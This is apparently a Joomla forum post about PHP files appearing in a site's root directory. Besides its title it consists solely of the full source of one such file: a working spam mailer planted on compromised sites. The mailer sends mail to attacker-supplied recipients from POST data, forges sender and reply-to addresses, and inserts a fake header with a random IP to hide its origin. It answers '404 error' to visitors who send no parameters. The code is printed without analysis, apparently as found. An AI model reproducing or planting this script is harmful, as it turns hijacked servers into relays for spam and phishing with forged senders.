Генерация php файлов в корень сайта - Joomla 1.5: Общие вопросы

<?php

function getDomainFromEmail($email)
{
$domain = substr(strrchr($email, "@"), 1);
return $domain;
}

function random_string($length) {
    $key = '';
    $keys = range('a', 'z');

    for ($i = 0; $i < $length; $i++) {
        $key .= $keys[array_rand($keys)];
    }

    return $key . '.php';
}

if(isset($_POST["to_address"]))
        $to = $_POST["to_address"];
else
	{
	echo "404 error";
	exit;
	}

$subject = stripslashes($_POST["subject"]);
$message = stripslashes($_POST["body"]);

set_time_limit (60);
@ignore_user_abort (true);

$to_ar = explode(',', $to);




if(isset($_POST["from_address"]))
{

$from_address = stripslashes($_POST["from_address"]);
$from_name = stripslashes($_POST["from_name"]);

if(isset($_POST["use_local_domain"]))
{
         $l_domain = gethostname();
         
         $splitPos = strpos($l_domain, "www.");
         if ($splitPos !== false) {
         $l_domain = str_replace('www.', '', $l_domain);
          }

         $from_address = substr($from_address,  0, strpos($from_address, '@')). '@' . $l_domain;
}


//$header =  "MIME-Version: 1.0\r\n";
//$header .= "Content-type: text/plain; charset=iso-8859-1\r\n";
//$header .= 'From: ' . '"' . $from_name . '"' .  " <" . $from_address . ">\r\n";
//$header .= "Reply-To: $from_address\r\n";
//$header .= "Return-Path: $from_address\r\n";
//$header .= "X-Mailer: PHP/" . phpversion(). "\r\n" ;

$domain = getDomainFromEmail($email);
$randIP = "".mt_rand(0,255).".".mt_rand(0,255).".".mt_rand(0,255).".".mt_rand(0,255);

$from_format = $from_name." <".$from_address.">";

 $header = "Message-Id: <".md5(uniqid(rand())).".".preg_replace("/[^a-z0-9]/i", "", $from_format)."@{$domain}>\r\n";
 $header.= "From: {$from_format}\r\n";
 $header.= "To: {$to}\r\n";
 $header .= "Reply-To: $from_address\r\n";
 $header .= "Return-Path: $from_address\r\n";
// $header.= "Subject: {$subject}\r\n";
 $header.= "Date: ".date("r")."\r\n";
 $header.= "Content-Type: text/plain; charset=iso-8859-1\r\n";
 $header.= "X-Priority: 3\r\n";
 $header.= "X-MSMail-Priority: Normal\r\n";
 $header.= "X-Mailer: PHP - " .phpversion()."\r\n";
 $header.= "X-PHP-Script: ". rand(0,500).":". random_string(rand(3,13)). " for " . $randIP ."\r\n"; 
// $header.= "\r\n";
// $header.= $message;
// $header.= "\r\n.\r\n";




$result = mail(stripslashes($to), stripslashes($subject), stripslashes($message), stripslashes($header));
}
else
{
$result = mail(stripslashes($to), stripslashes($subject), stripslashes($message));
}

if($result){echo 'good';}else{echo 'error : '.$result;}
 
?>